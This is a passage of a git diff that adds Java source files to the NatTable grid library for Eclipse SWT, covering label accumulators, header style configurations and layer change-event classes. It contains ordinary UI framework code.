a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/RowOverrideLabelAccumulator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/RowOverrideLabelAccumulator.java new file mode 100644 index 0000000..1b0c8f3 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/RowOverrideLabelAccumulator.java @@ -0,0 +1,34 @@ +package net.sourceforge.nattable.layer.cell; + +import java.io.Serializable; + +import net.sourceforge.nattable.data.IRowDataProvider; +import net.sourceforge.nattable.data.IRowIdAccessor; +import net.sourceforge.nattable.layer.LabelStack; + +/** + * @see ColumnOverrideLabelAccumulator + * @param type of the bean used as the data source for a row + */ +public class RowOverrideLabelAccumulator extends AbstractOverrider { + + private IRowDataProvider dataProvider; + private IRowIdAccessor idAccessor; + + public RowOverrideLabelAccumulator(IRowDataProvider dataProvider, IRowIdAccessor idAccessor) { + this.dataProvider = dataProvider; + this.idAccessor = idAccessor; + } + + public void accumulateConfigLabels(LabelStack configLabels, int columnPosition, int rowPosition) { + for (String configLabel : getOverrides(idAccessor.getRowId(dataProvider.getRowObject(rowPosition)))) { + configLabels.addLabel(configLabel); + } + } + + public void registerOverrides(int rowIndex, String...configLabels) { + Serializable id = idAccessor.getRowId(dataProvider.getRowObject(rowIndex)); + registerOverrides(id, configLabels); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/SimpleConfigLabelAccumulator.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/SimpleConfigLabelAccumulator.java new file mode 100644 index 0000000..eb452b4 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/cell/SimpleConfigLabelAccumulator.java @@ -0,0 +1,17 @@ +package net.sourceforge.nattable.layer.cell; + +import net.sourceforge.nattable.layer.LabelStack; + +public class SimpleConfigLabelAccumulator implements IConfigLabelAccumulator { + + private final String configLabel; + + public SimpleConfigLabelAccumulator(String configLabel) { + this.configLabel = configLabel; + } + + public void accumulateConfigLabels(LabelStack configLabels, int columnPosition, int rowPosition) { + configLabels.addLabel(configLabel); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/config/ColumnStyleChooserConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/config/ColumnStyleChooserConfiguration.java new file mode 100644 index 0000000..54c9991 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/config/ColumnStyleChooserConfiguration.java @@ -0,0 +1,30 @@ +package net.sourceforge.nattable.layer.config; + +import net.sourceforge.nattable.config.AbstractRegistryConfiguration; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.AbstractLayer; +import net.sourceforge.nattable.layer.cell.ColumnOverrideLabelAccumulator; +import net.sourceforge.nattable.style.editor.command.DisplayColumnStyleEditorCommandHandler; + +/** + * Registers the {@link DisplayColumnStyleEditorCommandHandler} + * + */ +public class ColumnStyleChooserConfiguration extends AbstractRegistryConfiguration { + + private AbstractLayer bodyLayer; + private ColumnOverrideLabelAccumulator labelAccumulator; + + public ColumnStyleChooserConfiguration(AbstractLayer bodyLayer) { + this.bodyLayer = bodyLayer; + labelAccumulator = new ColumnOverrideLabelAccumulator(bodyLayer); + bodyLayer.setConfigLabelAccumulator(labelAccumulator); + } + + public void configureRegistry(IConfigRegistry configRegistry) { + DisplayColumnStyleEditorCommandHandler columnChooserCommandHandler = + new DisplayColumnStyleEditorCommandHandler(labelAccumulator, configRegistry); + + bodyLayer.registerCommandHandler(columnChooserCommandHandler); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/config/DefaultColumnHeaderLayerConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/config/DefaultColumnHeaderLayerConfiguration.java new file mode 100644 index 0000000..8e4f48a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/config/DefaultColumnHeaderLayerConfiguration.java @@ -0,0 +1,26 @@ +package net.sourceforge.nattable.layer.config; + +import net.sourceforge.nattable.config.AggregateConfiguration; +import net.sourceforge.nattable.grid.layer.ColumnHeaderLayer; +import net.sourceforge.nattable.resize.config.DefaultColumnResizeBindings; + +/** + * Sets up Column header styling and resize bindings. + * Added by the {@link ColumnHeaderLayer} + */ +public class DefaultColumnHeaderLayerConfiguration extends AggregateConfiguration { + + public DefaultColumnHeaderLayerConfiguration() { + addColumnHeaderStyleConfig(); + addColumnHeaderUIBindings(); + } + + protected void addColumnHeaderUIBindings() { + addConfiguration(new DefaultColumnResizeBindings()); + } + + protected void addColumnHeaderStyleConfig() { + addConfiguration(new DefaultColumnHeaderStyleConfiguration()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/config/DefaultColumnHeaderStyleConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/config/DefaultColumnHeaderStyleConfiguration.java new file mode 100644 index 0000000..4902fb0 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/config/DefaultColumnHeaderStyleConfiguration.java @@ -0,0 +1,54 @@ +package net.sourceforge.nattable.layer.config; + +import net.sourceforge.nattable.config.AbstractRegistryConfiguration; +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.painter.cell.TextPainter; +import net.sourceforge.nattable.painter.cell.decorator.BeveledBorderDecorator; +import net.sourceforge.nattable.style.BorderStyle; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.style.HorizontalAlignmentEnum; +import net.sourceforge.nattable.style.Style; +import net.sourceforge.nattable.style.VerticalAlignmentEnum; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; + +/** + * Sets up column header styling. + * Added by {@link DefaultColumnHeaderLayerConfiguration} + */ +public class DefaultColumnHeaderStyleConfiguration extends AbstractRegistryConfiguration { + + public Font font = GUIHelper.getFont(new FontData("Verdana", 10, SWT.NORMAL)); + public Color bgColor = GUIHelper.COLOR_WIDGET_BACKGROUND; + public Color fgColor = GUIHelper.COLOR_WIDGET_FOREGROUND; + public HorizontalAlignmentEnum hAlign = HorizontalAlignmentEnum.CENTER; + public VerticalAlignmentEnum vAlign = VerticalAlignmentEnum.MIDDLE; + public BorderStyle borderStyle = null; + + public ICellPainter cellPainter = new BeveledBorderDecorator(new TextPainter()); + + public void configureRegistry(IConfigRegistry configRegistry) { + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, cellPainter, DisplayMode.NORMAL, GridRegion.COLUMN_HEADER); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, cellPainter, DisplayMode.NORMAL, GridRegion.CORNER); + + // Normal + Style cellStyle = new Style(); + cellStyle.setAttributeValue(CellStyleAttributes.BACKGROUND_COLOR, bgColor); + cellStyle.setAttributeValue(CellStyleAttributes.FOREGROUND_COLOR, fgColor); + cellStyle.setAttributeValue(CellStyleAttributes.HORIZONTAL_ALIGNMENT, hAlign); + cellStyle.setAttributeValue(CellStyleAttributes.VERTICAL_ALIGNMENT, vAlign); + cellStyle.setAttributeValue(CellStyleAttributes.BORDER_STYLE, borderStyle); + cellStyle.setAttributeValue(CellStyleAttributes.FONT, font); + + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, DisplayMode.NORMAL, GridRegion.COLUMN_HEADER); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, DisplayMode.NORMAL, GridRegion.CORNER); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/config/DefaultRowHeaderLayerConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/config/DefaultRowHeaderLayerConfiguration.java new file mode 100644 index 0000000..b273047 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/config/DefaultRowHeaderLayerConfiguration.java @@ -0,0 +1,29 @@ +package net.sourceforge.nattable.layer.config; + +import net.sourceforge.nattable.config.AggregateConfiguration; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.grid.layer.RowHeaderLayer; +import net.sourceforge.nattable.resize.config.DefaultRowResizeBindings; + +/** + * Default setup for the Row header area. Added by the {@link RowHeaderLayer} + * Override the methods in this class to customize style / UI bindings. + * + * @see GridRegion + */ +public class DefaultRowHeaderLayerConfiguration extends AggregateConfiguration { + + public DefaultRowHeaderLayerConfiguration() { + addRowHeaderStyleConfig(); + addRowHeaderUIBindings(); + } + + protected void addRowHeaderStyleConfig() { + addConfiguration(new DefaultRowHeaderStyleConfiguration()); + } + + protected void addRowHeaderUIBindings() { + addConfiguration(new DefaultRowResizeBindings()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/config/DefaultRowHeaderStyleConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/config/DefaultRowHeaderStyleConfiguration.java new file mode 100644 index 0000000..93af2e9 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/config/DefaultRowHeaderStyleConfiguration.java @@ -0,0 +1,54 @@ +package net.sourceforge.nattable.layer.config; + +import net.sourceforge.nattable.config.AbstractRegistryConfiguration; +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.painter.cell.TextPainter; +import net.sourceforge.nattable.style.BorderStyle; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.style.HorizontalAlignmentEnum; +import net.sourceforge.nattable.style.Style; +import net.sourceforge.nattable.style.VerticalAlignmentEnum; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; + +public class DefaultRowHeaderStyleConfiguration extends AbstractRegistryConfiguration { + + public Font font = GUIHelper.getFont(new FontData("Verdana", 10, SWT.NORMAL)); + public Color bgColor = GUIHelper.COLOR_WIDGET_BACKGROUND; + public Color fgColor = GUIHelper.COLOR_WIDGET_FOREGROUND; + public HorizontalAlignmentEnum hAlign = HorizontalAlignmentEnum.CENTER; + public VerticalAlignmentEnum vAlign = VerticalAlignmentEnum.MIDDLE; + public BorderStyle borderStyle = null; + + public ICellPainter cellPainter = new TextPainter(); + + public void configureRegistry(IConfigRegistry configRegistry) { + configureRowHeaderCellPainter(configRegistry); + configureRowHeaderStyle(configRegistry); + } + + protected void configureRowHeaderStyle(IConfigRegistry configRegistry) { + Style cellStyle = new Style(); + cellStyle.setAttributeValue(CellStyleAttributes.BACKGROUND_COLOR, bgColor); + cellStyle.setAttributeValue(CellStyleAttributes.FOREGROUND_COLOR, fgColor); + cellStyle.setAttributeValue(CellStyleAttributes.HORIZONTAL_ALIGNMENT, hAlign); + cellStyle.setAttributeValue(CellStyleAttributes.VERTICAL_ALIGNMENT, vAlign); + cellStyle.setAttributeValue(CellStyleAttributes.BORDER_STYLE, borderStyle); + cellStyle.setAttributeValue(CellStyleAttributes.FONT, font); + + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, DisplayMode.NORMAL, GridRegion.ROW_HEADER); + } + + protected void configureRowHeaderCellPainter(IConfigRegistry configRegistry) { + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, cellPainter, DisplayMode.NORMAL, GridRegion.ROW_HEADER); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/AbstractContextFreeEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/AbstractContextFreeEvent.java new file mode 100644 index 0000000..1971464 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/AbstractContextFreeEvent.java @@ -0,0 +1,11 @@ +package net.sourceforge.nattable.layer.event; + +import net.sourceforge.nattable.layer.ILayer; + +public abstract class AbstractContextFreeEvent implements ILayerEvent { + + public boolean convertToLocal(ILayer localLayer) { + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/CellVisualChangeEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/CellVisualChangeEvent.java new file mode 100644 index 0000000..20eb70f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/CellVisualChangeEvent.java @@ -0,0 +1,60 @@ +package net.sourceforge.nattable.layer.event; + +import java.util.Arrays; +import java.util.Collection; + +import net.sourceforge.nattable.layer.ILayer; + +import org.eclipse.swt.graphics.Rectangle; + +public class CellVisualChangeEvent implements IVisualChangeEvent { + + private ILayer layer; + + int columnPosition; + + int rowPosition; + + public CellVisualChangeEvent(ILayer layer, int columnPosition, int rowPosition) { + this.layer = layer; + this.columnPosition = columnPosition; + this.rowPosition = rowPosition; + } + + protected CellVisualChangeEvent(CellVisualChangeEvent event) { + this.layer = event.layer; + this.columnPosition = event.columnPosition; + this.rowPosition = event.rowPosition; + } + + public ILayer getLayer() { + return layer; + } + + public int getColumnPosition() { + return columnPosition; + } + + public int getRowPosition() { + return rowPosition; + } + + public boolean convertToLocal(ILayer localLayer) { + columnPosition = localLayer.underlyingToLocalColumnPosition(getLayer(), columnPosition); + rowPosition = localLayer.underlyingToLocalRowPosition(getLayer(), rowPosition); + + layer = localLayer; + + return columnPosition >= 0 && rowPosition >= 0 + && columnPosition < layer.getColumnCount() && rowPosition < layer.getRowCount(); + } + + public Collection getChangedPositionRectangles() { + return Arrays.asList(new Rectangle[] { new Rectangle(columnPosition, rowPosition, 1, 1) }); + } + + public CellVisualChangeEvent cloneEvent() { + return new CellVisualChangeEvent(this); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/ColumnStructuralChangeEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/ColumnStructuralChangeEvent.java new file mode 100644 index 0000000..28226c0 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/ColumnStructuralChangeEvent.java @@ -0,0 +1,63 @@ +package net.sourceforge.nattable.layer.event; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collection; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.ILayer; + +import org.eclipse.swt.graphics.Rectangle; + +/** + * Event indicating a change in the structure of the columns.
    + * This event carried ColumnDiffs (Collection) indicating the columns which have changed.
    + */ +public abstract class ColumnStructuralChangeEvent extends ColumnVisualChangeEvent implements IStructuralChangeEvent { + + public ColumnStructuralChangeEvent(ILayer layer, Range...columnPositionRanges) { + this(layer, Arrays.asList(columnPositionRanges)); + } + + public ColumnStructuralChangeEvent(ILayer layer, Collection columnPositionRanges) { + super(layer, columnPositionRanges); + } + + protected ColumnStructuralChangeEvent(ColumnStructuralChangeEvent event) { + super(event); + } + + @Override + public Collection getChangedPositionRectangles() { + Collection changedPositionRectangles = new ArrayList(); + + Collection columnPositionRanges = getColumnPositionRanges(); + if (columnPositionRanges != null && columnPositionRanges.size() > 0) { + int leftmostColumnPosition = Integer.MAX_VALUE; + for (Range range : columnPositionRanges) { + if (range.start < leftmostColumnPosition) { + leftmostColumnPosition = range.start; + } + } + + int columnCount = getLayer().getColumnCount(); + int rowCount = getLayer().getRowCount(); + changedPositionRectangles.add(new Rectangle(leftmostColumnPosition, 0, columnCount - leftmostColumnPosition, rowCount)); + } + + return changedPositionRectangles; + } + + public boolean isHorizontalStructureChanged() { + return true; + } + + public boolean isVerticalStructureChanged() { + return false; + } + + public Collection getRowDiffs() { + return null; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/ColumnStructuralRefreshEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/ColumnStructuralRefreshEvent.java new file mode 100644 index 0000000..592313a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/ColumnStructuralRefreshEvent.java @@ -0,0 +1,26 @@ +package net.sourceforge.nattable.layer.event; + +import net.sourceforge.nattable.layer.ILayer; + +/** + * General event indicating that columns cached by the layers need refreshing.
    + * + * Note: As opposed to the the {@link ColumnStructuralChangeEvent} this event does not
    + * indicate the specific columns which have changed.
    + */ +public class ColumnStructuralRefreshEvent extends StructuralRefreshEvent { + + public ColumnStructuralRefreshEvent(ILayer layer) { + super(layer); + } + + @Override + public boolean isHorizontalStructureChanged() { + return true; + } + + @Override + public boolean isVerticalStructureChanged() { + return false; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/ColumnVisualChangeEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/ColumnVisualChangeEvent.java new file mode 100644 index 0000000..1479259 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/ColumnVisualChangeEvent.java @@ -0,0 +1,68 @@ +package net.sourceforge.nattable.layer.event; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collection; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.ILayer; + +import org.eclipse.swt.graphics.Rectangle; + +public abstract class ColumnVisualChangeEvent implements IVisualChangeEvent { + + private ILayer layer; + + private Collection columnPositionRanges; + + public ColumnVisualChangeEvent(ILayer layer, Range...columnPositionRanges) { + this(layer, Arrays.asList(columnPositionRanges)); + } + + public ColumnVisualChangeEvent(ILayer layer, Collection columnPositionRanges) { + this.layer = layer; + this.columnPositionRanges = columnPositionRanges; + } + + // Copy constructor + protected ColumnVisualChangeEvent(ColumnVisualChangeEvent event) { + this.layer = event.layer; + this.columnPositionRanges = event.columnPositionRanges; + } + + public ILayer getLayer() { + return layer; + } + + public Collection getColumnPositionRanges() { + return columnPositionRanges; + } + + protected void setColumnPositionRanges(Collection columnPositionRanges) { + this.columnPositionRanges = columnPositionRanges; + } + + public boolean convertToLocal(ILayer localLayer) { + columnPositionRanges = localLayer.underlyingToLocalColumnPositions(layer, columnPositionRanges); + layer = localLayer; + + return columnPositionRanges != null && columnPositionRanges.size() > 0; + } + + public Collection getChangedPositionRectangles() { + Collection changedPositionRectangles = new ArrayList(); + + int rowCount = layer.getRowCount(); + for (Range range : columnPositionRanges) { + changedPositionRectangles.add(new Rectangle(range.start, 0, range.end - range.start, rowCount)); + } + + return changedPositionRectangles; + } + + @Override + public String toString() { + return getClass().getSimpleName(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/ILayerEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/ILayerEvent.java new file mode 100644 index 0000000..c649a60 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/ILayerEvent.java @@ -0,0 +1,28 @@ +package net.sourceforge.nattable.layer.event; + +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.command.ILayerCommandHandler; +import net.sourceforge.nattable.layer.ILayer; + +/** + * Event fired by the {@link ILayerCommandHandler} classes (usually to signal to handling of a {@link ILayerCommand}).
    + * Every layer in the grid is given a chance to respond to an event via {@link ILayer#handleLayerEvent(ILayerEvent)}. + * + * @see ILayerEventHandler + */ +public interface ILayerEvent { + + /** + * Convert the column/row positions carried by the event to the layer about to + * handle the event. + * @param localLayer layer about to receive the event + * @return TRUE if successfully converted, FALSE otherwise + */ + public boolean convertToLocal(ILayer localLayer); + + /** + * @return A cloned copy of the event. This cloned copy is provided to each listener. + */ + public ILayerEvent cloneEvent(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/ILayerEventHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/ILayerEventHandler.java new file mode 100644 index 0000000..e46c4ab --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/ILayerEventHandler.java @@ -0,0 +1,9 @@ +package net.sourceforge.nattable.layer.event; + +public interface ILayerEventHandler { + + public void handleLayerEvent(T event); + + public Class getLayerEventClass(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/IStructuralChangeEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/IStructuralChangeEvent.java new file mode 100644 index 0000000..8289132 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/IStructuralChangeEvent.java @@ -0,0 +1,20 @@ +package net.sourceforge.nattable.layer.event; + +import java.util.Collection; + +/** + * An event indicating a structural change to the layer. A structural change is + * defined as something that modifies the number of columns/rows in the layer or + * their associated widths/heights. + */ +public interface IStructuralChangeEvent extends IVisualChangeEvent { + + public boolean isHorizontalStructureChanged(); + + public Collection getColumnDiffs(); + + public boolean isVerticalStructureChanged(); + + public Collection getRowDiffs(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/IVisualChangeEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/IVisualChangeEvent.java new file mode 100644 index 0000000..367c206 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/IVisualChangeEvent.java @@ -0,0 +1,29 @@ +package net.sourceforge.nattable.layer.event; + +import java.util.Collection; + +import net.sourceforge.nattable.layer.ILayer; + +import org.eclipse.swt.graphics.Rectangle; + +/** + * An event which indicates a visible change to one or more cells in the layer. + * A visible change simply indicates that one or more cells should be redrawn. + * It does not imply a structural change to the layer. This means that cached + * structure does not need to be invalidated due to visible change events. + */ +public interface IVisualChangeEvent extends ILayerEvent { + + /** + * Get the layer that the visible change event is originating from. + */ + public ILayer getLayer(); + + /** + * Get the position rectangles that have changed and need to be redrawn. + * If no rectangles are returned, then the receiver should assume that the + * entire layer is changed and will need to be redrawn. + */ + public Collection getChangedPositionRectangles(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/PropertyUpdateEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/PropertyUpdateEvent.java new file mode 100644 index 0000000..18c784e --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/PropertyUpdateEvent.java @@ -0,0 +1,69 @@ +package net.sourceforge.nattable.layer.event; + +import java.beans.PropertyChangeEvent; +import java.util.Arrays; +import java.util.Collection; + +import net.sourceforge.nattable.layer.ILayer; + +import org.eclipse.swt.graphics.Rectangle; + +public class PropertyUpdateEvent implements IVisualChangeEvent { + + private final PropertyChangeEvent propertyChangeEvent = null; + private final T sourceBean; + private final String propertyName; + private final Object newValue; + private final Object oldValue; + + private ILayer layer; + + public PropertyUpdateEvent(ILayer layer, T sourceBean, String propertyName, Object oldValue, Object newValue) { + this.layer = layer; + this.sourceBean = sourceBean; + this.propertyName = propertyName; + this.oldValue = oldValue; + this.newValue = newValue; + } + + // Interface methods + + public ILayerEvent cloneEvent() { + return new PropertyUpdateEvent(this.layer, this.sourceBean, this.propertyName, this.oldValue, this.newValue); + } + + public boolean convertToLocal(ILayer localLayer) { + this.layer = localLayer; + return true; + } + + public Collection getChangedPositionRectangles() { + return Arrays.asList(new Rectangle(0, 0, layer.getWidth(), layer.getHeight())); + } + + public ILayer getLayer() { + return layer; + } + + // Accessors + + public PropertyChangeEvent getPropertyChangeEvent() { + return propertyChangeEvent; + } + + public T getSourceBean() { + return sourceBean; + } + + public String getPropertyName() { + return propertyName; + } + + public Object getNewValue() { + return newValue; + } + + public Object getOldValue() { + return oldValue; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowDeleteEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowDeleteEvent.java new file mode 100644 index 0000000..22e7a66 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowDeleteEvent.java @@ -0,0 +1,38 @@ +package net.sourceforge.nattable.layer.event; + +import java.util.ArrayList; +import java.util.Collection; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.event.StructuralDiff.DiffTypeEnum; + +public class RowDeleteEvent extends RowStructuralChangeEvent { + + public RowDeleteEvent(ILayer layer, int rowPosition) { + this(layer, new Range(rowPosition, rowPosition + 1)); + } + + public RowDeleteEvent(ILayer layer, Range rowPositionRange) { + super(layer, rowPositionRange); + } + + protected RowDeleteEvent(RowDeleteEvent event) { + super(event); + } + + public RowDeleteEvent cloneEvent() { + return new RowDeleteEvent(this); + } + + public Collection getRowDiffs() { + Collection rowDiffs = new ArrayList(); + + for (Range range : getRowPositionRanges()) { + new StructuralDiff(DiffTypeEnum.DELETE, range, new Range(range.start, range.start)); + } + + return rowDiffs; + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowInsertEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowInsertEvent.java new file mode 100644 index 0000000..1cdaf44 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowInsertEvent.java @@ -0,0 +1,38 @@ +package net.sourceforge.nattable.layer.event; + +import java.util.ArrayList; +import java.util.Collection; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.event.StructuralDiff.DiffTypeEnum; + +public class RowInsertEvent extends RowStructuralChangeEvent { + + public RowInsertEvent(ILayer layer, int rowPosition) { + this(layer, new Range(rowPosition, rowPosition + 1)); + } + + public RowInsertEvent(ILayer layer, Range rowPositionRange) { + super(layer, rowPositionRange); + } + + public RowInsertEvent(RowInsertEvent event) { + super(event); + } + + public RowInsertEvent cloneEvent() { + return new RowInsertEvent(this); + } + + public Collection getRowDiffs() { + Collection rowDiffs = new ArrayList(); + + for (Range range : getRowPositionRanges()) { + new StructuralDiff(DiffTypeEnum.ADD, new Range(range.start, range.start), range); + } + + return rowDiffs; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowStructuralChangeEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowStructuralChangeEvent.java new file mode 100644 index 0000000..3fb004c --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowStructuralChangeEvent.java @@ -0,0 +1,54 @@ +package net.sourceforge.nattable.layer.event; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collection; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.ILayer; + +import org.eclipse.swt.graphics.Rectangle; + +/** + * @see ColumnStructuralChangeEvent + */ +public abstract class RowStructuralChangeEvent extends RowVisualChangeEvent implements IStructuralChangeEvent { + + public RowStructuralChangeEvent(ILayer layer, Range...rowPositionRanges) { + this(layer, Arrays.asList(rowPositionRanges)); + } + + public RowStructuralChangeEvent(ILayer layer, Collection rowPositionRanges) { + super(layer, rowPositionRanges); + } + + protected RowStructuralChangeEvent(RowStructuralChangeEvent event) { + super(event); + } + + @Override + public Collection getChangedPositionRectangles() { + Collection changedPositionRectangles = new ArrayList(); + + int columnCount = getLayer().getColumnCount(); + int rowCount = getLayer().getRowCount(); + for (Range range : getRowPositionRanges()) { + changedPositionRectangles.add(new Rectangle(0, range.start, columnCount, rowCount - range.start)); + } + + return changedPositionRectangles; + } + + public boolean isHorizontalStructureChanged() { + return false; + } + + public Collection getColumnDiffs() { + return null; + } + + public boolean isVerticalStructureChanged() { + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowStructuralRefreshEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowStructuralRefreshEvent.java new file mode 100644 index 0000000..7ae0444 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowStructuralRefreshEvent.java @@ -0,0 +1,23 @@ +package net.sourceforge.nattable.layer.event; + +import net.sourceforge.nattable.layer.ILayer; + +/** + * @see ColumnStructuralRefreshEvent + */ +public class RowStructuralRefreshEvent extends StructuralRefreshEvent { + + public RowStructuralRefreshEvent(ILayer layer) { + super(layer); + } + + @Override + public boolean isVerticalStructureChanged() { + return true; + } + + @Override + public boolean isHorizontalStructureChanged() { + return false; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowUpdateEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowUpdateEvent.java new file mode 100644 index 0000000..468b32c --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowUpdateEvent.java @@ -0,0 +1,24 @@ +package net.sourceforge.nattable.layer.event; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.ILayer; + +public class RowUpdateEvent extends RowVisualChangeEvent { + + public RowUpdateEvent(ILayer layer, int rowPosition) { + this(layer, new Range(rowPosition, rowPosition + 1)); 